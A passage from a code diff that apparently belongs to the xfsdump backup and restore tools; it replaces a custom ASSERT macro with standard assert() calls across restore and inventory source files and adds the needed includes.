SEEK_CUR, BOOL_FALSE ); - ASSERT( rval > 0 ); - ASSERT( sarr[i].sz > 0 ); + assert( rval > 0 ); + assert( sarr[i].sz > 0 ); sarr[i].buf = calloc( 1, sarr[i].sz ); rval = get_invtrecord( fd, sarr[i].buf, sarr[i].sz, 0, SEEK_CUR, BOOL_FALSE ); - ASSERT( rval > 0 ); + assert( rval > 0 ); } @@ -263,9 +264,9 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) printf("first time!\n"); for (i=0; i<8; i++) { uuid_create( &fsidarr[i], &stat ); - ASSERT ( stat == uuid_s_ok ); + assert ( stat == uuid_s_ok ); uuid_create( &sesidarr[i], &stat ); - ASSERT ( stat == uuid_s_ok ); + assert ( stat == uuid_s_ok ); } fd = open( "uuids", O_RDWR | O_CREAT ); PUT_REC(fd, (void *)fsidarr, sizeof (uuid_t) * 8, 0L ); @@ -289,7 +290,7 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) dev = dev_str[7]; fsidp = &fsidarr[0]; /* j */ tok1 = inv_open( INV_BY_UUID, INV_SEARCH_N_MOD, fsidp ); - ASSERT (tok1 != INV_TOKEN_NULL ); + assert (tok1 != INV_TOKEN_NULL ); uuid_create( &labelid, &stat ); uuid_to_string( &labelid, &str, &stat ); @@ -306,10 +307,10 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) dumplevel, nstreams, time(NULL), mnt, dev ); - ASSERT (tok2 != INV_TOKEN_NULL ); + assert (tok2 != INV_TOKEN_NULL ); for (m = 0; m 1 ); + assert( argc > 1 ); mlog_init( argc, argv ); diff --git a/librmt/rmtioctl.c b/librmt/rmtioctl.c index c49e96d..4c108fb 100644 --- a/librmt/rmtioctl.c +++ b/librmt/rmtioctl.c @@ -30,6 +30,7 @@ #include #include #include +#include /* * uses old_mtget IRIX structure since we don't bother diff --git a/restore/bag.c b/restore/bag.c index b7d8fe2..8c7a216 100644 --- a/restore/bag.c +++ b/restore/bag.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -33,7 +34,7 @@ bag_alloc( void ) bag_t *bagp; bagp = ( bag_t * )calloc( 1, sizeof( bag_t )); - ASSERT( bagp ); + assert( bagp ); return bagp; } @@ -46,9 +47,9 @@ bag_insert( bag_t *bagp, register bagelem_t *nextp; register bagelem_t *prevp; - ASSERT( ! newp->be_loaded ); + assert( ! newp->be_loaded ); newp->be_loaded = BOOL_TRUE; - ASSERT( ! newp->be_bagp ); + assert( ! newp->be_bagp ); newp->be_bagp = bagp; newp->be_key = key; @@ -79,8 +80,8 @@ bag_remove( bag_t *bagp, register bagelem_t *nextp; register bagelem_t *prevp; - ASSERT( oldp->be_loaded ); - ASSERT( oldp->be_bagp == bagp ); + assert( oldp->be_loaded ); + assert( oldp->be_bagp == bagp ); nextp = oldp->be_nextp; prevp = oldp->be_prevp; @@ -90,7 +91,7 @@ bag_remove( bag_t *bagp, if ( bagp->b_headp == oldp ) { if ( nextp == oldp ) { - ASSERT( prevp == oldp ); + assert( prevp == oldp ); bagp->b_headp = 0; } else { bagp->b_headp = nextp; @@ -121,8 +122,8 @@ bag_find( bag_t *bagp, *payloadpp = 0; return 0; } else { - ASSERT( p->be_loaded ); - ASSERT( p->be_bagp == bagp ); + assert( p->be_loaded ); + assert( p->be_bagp == bagp ); *payloadpp = p->be_payloadp; return p; } @@ -182,7 +183,7 @@ bag_free( bag_t *bagp ) if ( p == bagp->b_headp ) { break; } - ASSERT( p ); + assert( p ); } memset( ( void * )bagp, 0, sizeof( bag_t )); diff --git a/restore/content.c b/restore/content.c index f2d361b..4796aea 100644 --- a/restore/content.c +++ b/restore/content.c @@ -34,6 +34,7 @@ #include #include #include +#include #include "types.h" #include "timeutil.h" @@ -912,14 +913,14 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* sanity checks */ - ASSERT( sizeof( pers_desc_t ) <= PERS_DESCSZ ); - ASSERT( PERS_DESCSZ <= pgsz ); - ASSERT( ! ( pgsz % PERS_DESCSZ )); - ASSERT( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); + assert( sizeof( pers_desc_t ) <= PERS_DESCSZ ); + assert( PERS_DESCSZ <= pgsz ); + assert( ! ( pgsz % PERS_DESCSZ )); + assert( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); - ASSERT( ! ( perssz % pgsz )); + assert( ! ( perssz % pgsz )); - ASSERT( SYNC_INIT == 0 ); + assert( SYNC_INIT == 0 ); mlog( MLOG_NITTY, "sizeof( pers_desc_t ) == %d, pgsz == %d, perssz == %d \n", @@ -928,7 +929,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* allocate transient state */ tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); - ASSERT( tranp ); + assert( tranp ); /* allocate a qlock for establishing pi critical regions */ @@ -1208,7 +1209,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* assume all streams contain a directory dump. streams will remove * themselves from this bitset if they do not contain a directory dump. */ - ASSERT( drivecnt <= sizeof(tranp->t_dirdumps) * NBBY ); + assert( drivecnt <= sizeof(tranp->t_dirdumps) * NBBY ); tranp->t_dirdumps = ( 1ULL << drivecnt ) - 1; /* the user may specify stdin as the restore source stream, @@ -1329,7 +1330,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* build a full pathname to pers. state file */ - ASSERT( ! perspath ); + assert( ! perspath ); perspath = open_pathalloc( tranp->t_hkdir, persname, 0 ); /* open, creating if non-existent @@ -1596,11 +1597,11 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) intgen_t rval; path1 = ( char * )calloc( 1, 2 * MAXPATHLEN ); - ASSERT( path1 ); + assert( path1 ); path2 = ( char * )calloc( 1, 2 * MAXPATHLEN ); - ASSERT( path2 ); - ASSERT( persp->a.valpr ); - ASSERT( persp->s.valpr ); + assert( path2 ); + assert( persp->a.valpr ); + assert( persp->s.valpr ); rval = chdir( persp->a.dstdir ); if ( rval ) { mlog( MLOG_NORMAL, _( @@ -1673,7 +1674,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) stpgcnt = persp->a.stpgcnt; newstpgcnt = stpgcnt; descpgcnt = persp->s.descpgcnt; - ASSERT( resumepr ); + assert( resumepr ); mlog( MLOG_VERBOSE, _( "resuming restore previously begun %s\n"), ctimennl( &persp->s.begintime )); @@ -1683,13 +1684,13 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* unmap temp mapping of hdr, truncate, and remap hdr/subtrees */ rval = munmap( ( void * )persp, perssz ); - ASSERT( ! rval ); + assert( ! rval ); rval = ftruncate( tranp->t_persfd, ( off_t )perssz + ( off_t )( stpgcnt + descpgcnt ) * ( off_t )pgsz ); - ASSERT( ! rval ); + assert( ! rval ); stpgcnt = newstpgcnt; persp = ( pers_t * ) mmap_autogrow( perssz + stpgcnt * pgsz, tranp->t_persfd, 0); @@ -1756,7 +1757,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) + ( STDESCALIGN - 1 ); stdsz &= ~( STDESCALIGN - 1 ); - ASSERT( stdsz <= ( size_t )OFFMAX ); + assert( stdsz <= ( size_t )OFFMAX ); stdescp->std_nextoff = ( off_t )stdsz; strcpy( stdescp->std_path, optarg ); stdescp = ( stdesc_t * ) @@ -1765,7 +1766,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) break; } } - ASSERT( stcnt == 0 ); + assert( stcnt == 0 ); } /* initialize the local extattr abstraction. must be done even if @@ -1801,7 +1802,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) * referenced ONLY via the macros provided; the descriptors will be * occasionally remapped, causing the ptr to change. */ - ASSERT( ! descp ); + assert( ! descp ); if ( descpgcnt ) { descp = ( pers_desc_t * ) mmap_autogrow( descpgcnt * pgsz, tranp->t_persfd, @@ -1932,9 +1933,9 @@ content_stream_restore( ix_t thrdix ) /* allocate two path buffers */ path1 = ( char * )calloc( 1, 2 * MAXPATHLEN ); - ASSERT( path1 ); + assert( path1 ); path2 = ( char * )calloc( 1, 2 * MAXPATHLEN ); - ASSERT( path2 ); + assert( path2 ); /* set the current directory to dstdir. the tree abstraction * depends on the current directory being the root of the @@ -2081,7 +2082,7 @@ content_stream_restore( ix_t thrdix ) "dump found: checking\n" ); matchpr = BOOL_FALSE; resumepr = ( scrhdrp->cih_dumpattr & CIH_DUMPATTR_RESUME ); - ASSERT( scrhdrp->cih_level >= 0 ); + assert( scrhdrp->cih_level >= 0 ); level = ( ix_t )scrhdrp->cih_level; baseidp = resumepr ? @@ -2246,7 +2247,7 @@ content_stream_restore( ix_t thrdix ) return mlog_exit(EXIT_FAULT, rv); } dcaps = drivep->d_capabilities; - ASSERT( fileh != DH_NULL ); + assert( fileh != DH_NULL ); lock( ); if ( tranp->t_sync3 == SYNC_BUSY ) { unlock( ); @@ -2529,7 +2530,7 @@ content_stream_restore( ix_t thrdix ) return mlog_exit(EXIT_FAULT, rv); } dcaps = drivep->d_capabilities; - ASSERT( fileh > DH_NULL ); + assert( fileh > DH_NULL ); if ( tranp->t_toconlypr ) { mlog( MLOG_VERBOSE, _( "reading non-directory files\n") ); @@ -2752,7 +2753,7 @@ content_statline( char **linespp[ ] ) percent, (unsigned long long)tranp->t_direntcnt, elapsed ); - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); + assert( strlen( statline[ 0 ] ) < STATLINESZ ); return 1; } @@ -2792,7 +2793,7 @@ content_statline( char **linespp[ ] ) (unsigned long long)inocnt, percent, elapsed ); - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); + assert( strlen( statline[ 0 ] ) < STATLINESZ ); /* return buffer to caller */ @@ -2880,7 +2881,7 @@ content_mediachange_query( void ) } nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -2920,7 +2921,7 @@ content_mediachange_query( void ) choicecnt = 0; nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -2936,7 +2937,7 @@ content_mediachange_query( void ) nochangeix);/* sigquit ix */ return _("continuing\n"); } - ASSERT( responseix == nochangeix ); + assert( responseix == nochangeix ); return _("continuing\n"); } @@ -3106,7 +3107,7 @@ applydirdump( drive_t *drivep, break; } namelen = strlen( dhdrp->dh_name ); - ASSERT( namelen <= NAME_MAX ); + assert( namelen <= NAME_MAX ); /* add this dirent to the tree. */ @@ -3263,7 +3264,7 @@ eatdirdump( drive_t *drivep, break; } namelen = strlen( dhdrp->dh_name ); - ASSERT( namelen <= NAME_MAX ); + assert( namelen <= NAME_MAX ); } } @@ -3525,7 +3526,7 @@ applynondirdump( drive_t *drivep, if ( cur_egrp.eg_ino < next_egrp.eg_ino || next_egrp.eg_off > 0 ) { - ASSERT( cur_egrp.eg_ino + assert( cur_egrp.eg_ino <= next_egrp.eg_ino ); pi_update_stats( bstatp->bs_blocks @@ -3706,8 +3707,8 @@ wipepersstate( void ) "%s/%s", tranp->t_hkdir, direntp->d_name ); - ASSERT( len > 0 ); - ASSERT( len < MAXPATHLEN ); + assert( len > 0 ); + assert( len < MAXPATHLEN ); ( void )unlink( pathname ); closedir( dirp ); dirp = opendir( tranp->t_hkdir ); @@ -3732,7 +3733,7 @@ Inv_validate_cmdline( void ) bool_t ok; bool_t rok; - ASSERT( ! persp->s.valpr ); + assert( ! persp->s.valpr ); ok = BOOL_FALSE; sessp = 0; @@ -3797,7 +3798,7 @@ Media_create( ix_t thrdix ) Mediap->M_mrhdrp = mrhdrp; Mediap->M_crhdrp = crhdrp; Mediap->M_scrhdrp = scrhdrp; - ASSERT( POS_UNKN == 0 ); + assert( POS_UNKN == 0 ); return Mediap; } @@ -4079,7 +4080,7 @@ Media_mfile_next( Media_t *Mediap, case DRIVE_ERROR_EOD: Mediap->M_pos = POS_END; if ( Mediap->M_fsfixvalpr ) { - ASSERT( purp != PURP_SEARCH ); + assert( purp != PURP_SEARCH ); pi_hiteod( Mediap->M_fssix, Mediap->M_fsoix ); } @@ -4087,7 +4088,7 @@ Media_mfile_next( Media_t *Mediap, case DRIVE_ERROR_EOM: Mediap->M_pos = POS_END; if ( Mediap->M_fsfixvalpr ) { - ASSERT( purp != PURP_SEARCH ); + assert( purp != PURP_SEARCH ); pi_hiteom( Mediap->M_fssix, Mediap->M_fsoix ); } @@ -4206,7 +4207,7 @@ validate: /* if the purpose is to search, return this media file */ if ( purp == PURP_SEARCH ) { - ASSERT( Mediap->M_pos == POS_ATHDR ); + assert( Mediap->M_pos == POS_ATHDR ); return RV_OK; } @@ -4457,9 +4458,9 @@ validate: /* if the purpose is dir, give it to the caller */ if ( purp == PURP_DIR ) { - ASSERT( Mediap->M_pos == POS_ATHDR ); + assert( Mediap->M_pos == POS_ATHDR ); if ( filehp ) { - ASSERT( fileh != DH_NULL ); + assert( fileh != DH_NULL ); *filehp = fileh; } return RV_OK; @@ -4471,9 +4472,9 @@ validate: /* see if this media file contains any inodes not yet restored */ - ASSERT( fileh != DH_NULL ); + assert( fileh != DH_NULL ); pi_lock( ); - ASSERT( DH2F( fileh )->f_valpr ); + assert( DH2F( fileh )->f_valpr ); begino = DH2F( fileh )->f_curegrp.eg_ino; endino = pi_scanfileendino( fileh ); hassomepr = inomap_rst_needed( begino, endino ); @@ -4532,8 +4533,8 @@ validate: * and no check point, can still get there * by doing dummy read of dirdump. */ - ASSERT( fileh != DH_NULL ); - ASSERT( DH2F( fileh )->f_valpr ); + assert( fileh != DH_NULL ); + assert( DH2F( fileh )->f_valpr ); resumepr = ( ( DH2F( fileh )->f_firstegrp.eg_ino != DH2F( fileh )->f_curegrp.eg_ino ) @@ -4616,7 +4617,7 @@ validate: rval = 0; break; default: - ASSERT( 0 ); + assert( 0 ); rval = 1; break; } @@ -4634,7 +4635,7 @@ validate: */ if ( ! rval ) { if ( filehp ) { - ASSERT( fileh != DH_NULL ); + assert( fileh != DH_NULL ); *filehp = fileh; } return RV_OK; @@ -4647,7 +4648,7 @@ validate: ( * dop->do_end_read )( drivep ); Mediap->M_pos = POS_UNKN; fileh = DH_NULL; - ASSERT( purp == PURP_NONDIR ); + assert( purp == PURP_NONDIR ); if ( pi_know_no_more_beyond_on_object( purp, Mediap->M_fssix, Mediap->M_fsoix, @@ -4735,7 +4736,7 @@ newmedia: BOOL_FALSE ); break; default: - ASSERT( 0 ); + assert( 0 ); } if ( ! bagp && ! knownholespr && ! maybeholespr ) { @@ -4796,7 +4797,7 @@ newmedia: pi_neededobjs_free( bagp ); bagp = 0; } - ASSERT( sistr ); + assert( sistr ); mlog( MLOG_NORMAL | MLOG_NOTE | MLOG_MEDIA, _( "please change media: " "type %s to confirm media change\n"), @@ -4928,19 +4929,19 @@ pi_allocdesc( dh_t *deschp ) /* first unmap if any existing descriptors */ if ( descp ) { - ASSERT( olddescpgcnt > 0 ); + assert( olddescpgcnt > 0 ); rval = munmap( ( void * )descp, olddescpgcnt * pgsz ); - ASSERT( ! rval ); + assert( ! rval ); descp = 0; } else { - ASSERT( olddescpgcnt == 0 ); + assert( olddescpgcnt == 0 ); } /* remap with DAU more pages of descriptors */ - ASSERT( stpgcnt <= ( ix_t )INTGENMAX ); - ASSERT( newdescpgcnt > 0 ); + assert( stpgcnt <= ( ix_t )INTGENMAX ); + assert( newdescpgcnt > 0 ); descp = ( pers_desc_t * ) mmap_autogrow( newdescpgcnt * pgsz, tranp->t_persfd, ( off_t )perssz @@ -4973,7 +4974,7 @@ pi_allocdesc( dh_t *deschp ) desch = persp->s.descfreeh; persp->s.descfreeh = DH2D( desch )->d_nexth; memset( ( void * )DH2D( desch ), 0, sizeof( pers_desc_t )); - ASSERT( desch != DH_NULL ); + assert( desch != DH_NULL ); *deschp = desch; return BOOL_TRUE; } @@ -5041,7 +5042,7 @@ pi_insertfile( ix_t drivecnt, strmix++, strmh = DH2S( strmh )->s_nexth ) ; - ASSERT( strmh != DH_NULL ); + assert( strmh != DH_NULL ); /* get handle to this object by walking/constructing this stream's * object list, up to the desired object @@ -5124,10 +5125,10 @@ pi_insertfile( ix_t drivecnt, && ! DH2O( prevobjh )->o_lmfknwnpr ) { size_t prevmfcnt; - ASSERT( DH2O( objh )->o_fmfsix > DH2O( prevobjh )->o_fmfsix ); + assert( DH2O( objh )->o_fmfsix > DH2O( prevobjh )->o_fmfsix ); prevmfcnt = DH2O( objh )->o_fmfsix - DH2O( prevobjh )->o_fmfsix; pi_unlock( ); - ASSERT( mediaix > 0 ); + assert( mediaix > 0 ); ( void )pi_insertfile( drivecnt, driveix, mediaix - 1, @@ -5190,8 +5191,8 @@ pi_insertfile( ix_t drivecnt, /* update the media file fields not yet valid */ if ( egrpvalpr && ! DH2F( fileh )->f_valpr ) { - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); DH2F( fileh )->f_firstegrp.eg_ino = startino; DH2F( fileh )->f_firstegrp.eg_off = startoffset; DH2F( fileh )->f_curegrp = DH2F( fileh )->f_firstegrp; @@ -5233,7 +5234,7 @@ pi_addfile( Media_t *Mediap, if ( ! persp->s.stat_valpr ) { persp->s.stat_inocnt = scrhdrp->cih_inomap_nondircnt; persp->s.stat_inodone = 0; - ASSERT( scrhdrp->cih_inomap_datasz <= OFF64MAX ); + assert( scrhdrp->cih_inomap_datasz <= OFF64MAX ); persp->s.stat_datacnt = ( off64_t )scrhdrp->cih_inomap_datasz; persp->s.stat_datadone = 0; persp->s.stat_valpr = BOOL_TRUE; @@ -5301,7 +5302,7 @@ pi_addfile( Media_t *Mediap, if ( fileh == DH_NULL ) { return DH_NULL; } - ASSERT( drhdrp->dh_drivecnt > 0 ); + assert( drhdrp->dh_drivecnt > 0 ); if ( drhdrp->dh_driveix < drhdrp->dh_drivecnt - 1 ) { /* if this is not in the last stream, we know * there is at least one other media file in @@ -5433,12 +5434,12 @@ pi_addfile( Media_t *Mediap, &rval ); switch( rval ) { case 0: - ASSERT( nread == ( intgen_t )bufszincr ); + assert( nread == ( intgen_t )bufszincr ); buflen += ( size_t )nread; bufsz += bufszincr; bufp = ( char * )realloc(( void * )bufp, bufsz ); - ASSERT( bufp ); + assert( bufp ); continue; case DRIVE_ERROR_EOD: case DRIVE_ERROR_EOF: @@ -5495,7 +5496,7 @@ pi_addfile( Media_t *Mediap, return fileh; } - ASSERT( 0 ); + assert( 0 ); return DH_NULL; } @@ -5829,7 +5830,7 @@ pi_scanfileendino( dh_t fileh ) dh_t strmh; ix_t mode = 0; - ASSERT( fileh != DH_NULL ); + assert( fileh != DH_NULL ); /* traverse the pi tree, looking for the next media file after */ @@ -5863,13 +5864,13 @@ pi_scanfileendino( dh_t fileh ) if ( DH2F( nexth )->f_valpr ) { xfs_ino_t ino; - ASSERT( ! ( DH2F( nexth )->f_flags & PF_INV )); - ASSERT( ! ( DH2F( nexth )->f_flags & PF_TERM )); + assert( ! ( DH2F( nexth )->f_flags & PF_INV )); + assert( ! ( DH2F( nexth )->f_flags & PF_TERM )); if ( DH2F( nexth )->f_firstegrp.eg_off ) { ino = DH2F( nexth )->f_firstegrp.eg_ino; return ino; } else { - ASSERT( DH2F( nexth )->f_firstegrp.eg_ino > 0 ); + assert( DH2F( nexth )->f_firstegrp.eg_ino > 0 ); ino = DH2F( nexth )->f_firstegrp.eg_ino - 1; return ino; } @@ -5894,12 +5895,12 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) dh_t follh = DH_NULL; - ASSERT( thisfileh != DH_NULL ); + assert( thisfileh != DH_NULL ); /* traverse the pi tree, looking for fileh */ pi_lock( ); - ASSERT( DH2F( thisfileh )->f_valpr ); + assert( DH2F( thisfileh )->f_valpr ); for ( strmh = persp->s.strmheadh ; @@ -5924,14 +5925,14 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) if ( fileh == thisfileh ) { thisfoundpr = BOOL_TRUE; } else if ( DH2F( fileh )->f_valpr ) { - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); prech = fileh; } } else if ( DH2F( fileh )->f_valpr ) { - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); - ASSERT( follh == DH_NULL ); + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); + assert( follh == DH_NULL ); follh = fileh; goto done; } @@ -5940,7 +5941,7 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) } done: - ASSERT( thisfoundpr ); + assert( thisfoundpr ); /* initially the lower bracket is this file descriptor's * current egrp. this catches the case where a previous restore @@ -5979,7 +5980,7 @@ static void pi_update_stats( off64_t sz ) { pi_lock( ); - ASSERT( persp->s.stat_valpr ); + assert( persp->s.stat_valpr ); persp->s.stat_inodone++; persp->s.stat_datadone += sz; pi_unlock( ); @@ -6011,7 +6012,7 @@ pi_iter_alloc( void ) pi_iter_t *iterp; iterp = ( pi_iter_t * )calloc( 1, sizeof( pi_iter_t )); - ASSERT( iterp ); + assert( iterp ); return iterp; } @@ -6026,7 +6027,7 @@ pi_iter_nextfileh( pi_iter_t *iterp, bool_t *objmissingprp, bool_t *filemissingprp ) { - ASSERT( ! iterp->donepr ); + assert( ! iterp->donepr ); if ( persp->s.strmheadh == DH_NULL ) { iterp->donepr = BOOL_TRUE; @@ -6034,7 +6035,7 @@ pi_iter_nextfileh( pi_iter_t *iterp, } if ( ! iterp->initializedpr ) { - ASSERT( persp->s.strmheadh != DH_NULL ); + assert( persp->s.strmheadh != DH_NULL ); iterp->strmh = persp->s.strmheadh; iterp->objh = DH2S( iterp->strmh )->s_cldh; if ( iterp->objh == DH_NULL ) { @@ -6199,8 +6200,8 @@ pi_neededobjs_nondir_alloc( bool_t *knownholesprp, headegrp.eg_ino = INO64MAX; headegrp.eg_off = OFF64MAX; } else { - ASSERT( ! ( DH2F( headh )->f_flags & PF_INV )); - ASSERT( ! ( DH2F( headh )->f_flags & PF_TERM )); + assert( ! ( DH2F( headh )->f_flags & PF_INV )); + assert( ! ( DH2F( headh )->f_flags & PF_TERM )); headegrp = DH2F( headh )->f_firstegrp; } @@ -6369,15 +6370,15 @@ pi_neededobjs_free( bag_t *bagp ) size64_t dummykey; void *dummypayloadp; - ASSERT( bagp ); + assert( bagp ); bagiter_init( bagp, &bagiter ); bagobjp = 0; while (( bagelemp = bagiter_next( &bagiter, ( void ** )&bagobjp ) )) { bag_remove( bagp, bagelemp, &dummykey, &dummypayloadp ); - ASSERT( bagobjp ); - ASSERT( bagobjp == ( bagobj_t * )dummypayloadp ); + assert( bagobjp ); + assert( bagobjp == ( bagobj_t * )dummypayloadp ); free( ( void * )bagobjp ); bagobjp = 0; } @@ -6441,7 +6442,7 @@ pi_hiteod( ix_t strmix, ix_t objix ) ix++, strmh = DH2S( strmh )->s_nexth ) ; - ASSERT( strmh != DH_NULL ); + assert( strmh != DH_NULL ); /* get index to last object in stream */ @@ -6451,7 +6452,7 @@ pi_hiteod( ix_t strmix, ix_t objix ) ; objh = DH2O( objh )->o_nexth, objcnt++ ) ; - ASSERT( objcnt != 0 ); + assert( objcnt != 0 ); lastobjix = objcnt - 1; pi_unlock( ); @@ -6504,7 +6505,7 @@ pi_hitnextdump( ix_t strmix, ix_t objix, ix_t lastfileix ) ix++, strmh = DH2S( strmh )->s_nexth ) ; - ASSERT( strmh != DH_NULL ); + assert( strmh != DH_NULL ); /* get index to last object in stream */ @@ -6514,7 +6515,7 @@ pi_hitnextdump( ix_t strmix, ix_t objix, ix_t lastfileix ) ; objh = DH2O( objh )->o_nexth, objcnt++ ) ; - ASSERT( objcnt != 0 ); + assert( objcnt != 0 ); lastobjix = objcnt - 1; pi_unlock( ); @@ -6549,7 +6550,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) dh_t objh; dh_t fileh; - ASSERT( purp == PURP_DIR || purp == PURP_NONDIR ); + assert( purp == PURP_DIR || purp == PURP_NONDIR ); pi_lock( ); @@ -6563,7 +6564,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) ix++, strmh = DH2S( strmh )->s_nexth ) ; - ASSERT( strmh != DH_NULL ); + assert( strmh != DH_NULL ); /* get handle to indexed object */ @@ -6574,7 +6575,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) ix++, objh = DH2O( objh )->o_nexth ) ; - ASSERT( objh != DH_NULL ); + assert( objh != DH_NULL ); /* if don't know last media file on object, return FALSE */ @@ -6627,7 +6628,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, dh_t objh; dh_t fileh; - ASSERT( purp == PURP_DIR || purp == PURP_NONDIR ); + assert( purp == PURP_DIR || purp == PURP_NONDIR ); pi_lock( ); @@ -6641,7 +6642,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, ix++, strmh = DH2S( strmh )->s_nexth ) ; - ASSERT( strmh != DH_NULL ); + assert( strmh != DH_NULL ); /* get handle to indexed object */ @@ -6653,7 +6654,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, ix++, objh = DH2O( objh )->o_nexth ) ; - ASSERT( objh != DH_NULL ); + assert( objh != DH_NULL ); /* if don't know last media file on object, return FALSE */ @@ -6741,7 +6742,7 @@ addobj( bag_t *bagp, bagobj_t *bagobjp; bagobjp = ( bagobj_t * )calloc( 1, sizeof( bagobj_t )); - ASSERT( bagobjp ); + assert( bagobjp ); uuid_copy(bagobjp->id, *idp); strncpy( bagobjp->label, label, @@ -6761,7 +6762,7 @@ cntobj( bag_t *bagp ) bagobj_t *bagobjp; size_t cnt; - ASSERT( bagp ); + assert( bagp ); bagiter_init( bagp, &bagiter ); cnt = 0; @@ -6833,7 +6834,7 @@ askinvforbaseof( uuid_t baseid, inv_session_t *sessp ) /* close the inventory */ ok = inv_close( invtok ); - ASSERT( ok ); + assert( ok ); /* return id of base session */ @@ -6933,7 +6934,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* query: ask if media changed or declined @@ -6950,7 +6951,7 @@ retry: } querycnt = 0; querystr[ querycnt++ ] = question; - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; dontix = choicecnt; choicestr[ choicecnt++ ] = _("media change declined"); @@ -6965,7 +6966,7 @@ retry: } doix = choicecnt; choicestr[ choicecnt++ ] = _("media changed"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); sigintix = IXMAX - 1; responseix = dlog_multi_query( querystr, @@ -6988,7 +6989,7 @@ retry: ackstr[ ackcnt++ ] = _("media change aborted\n"); } else if ( responseix == invstatix ) { ackstr[ ackcnt++ ] = "\n"; - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); pi_show_nomloglock( ); @@ -6997,13 +6998,13 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); goto retry; } else if ( responseix == neededix ) { ackstr[ ackcnt++ ] = "\n"; - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); display_needed_objects( purp, @@ -7015,16 +7016,16 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); goto retry; } else { - ASSERT( responseix == sigintix ); + assert( responseix == sigintix ); ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); @@ -7033,7 +7034,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); @@ -7089,7 +7090,7 @@ retry: preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* display vital stats and ask if this one should be restored @@ -7105,7 +7106,7 @@ retry: "the following dump has been found" "\n\n") ); } - ASSERT( strlen( introstring ) < sizeof( 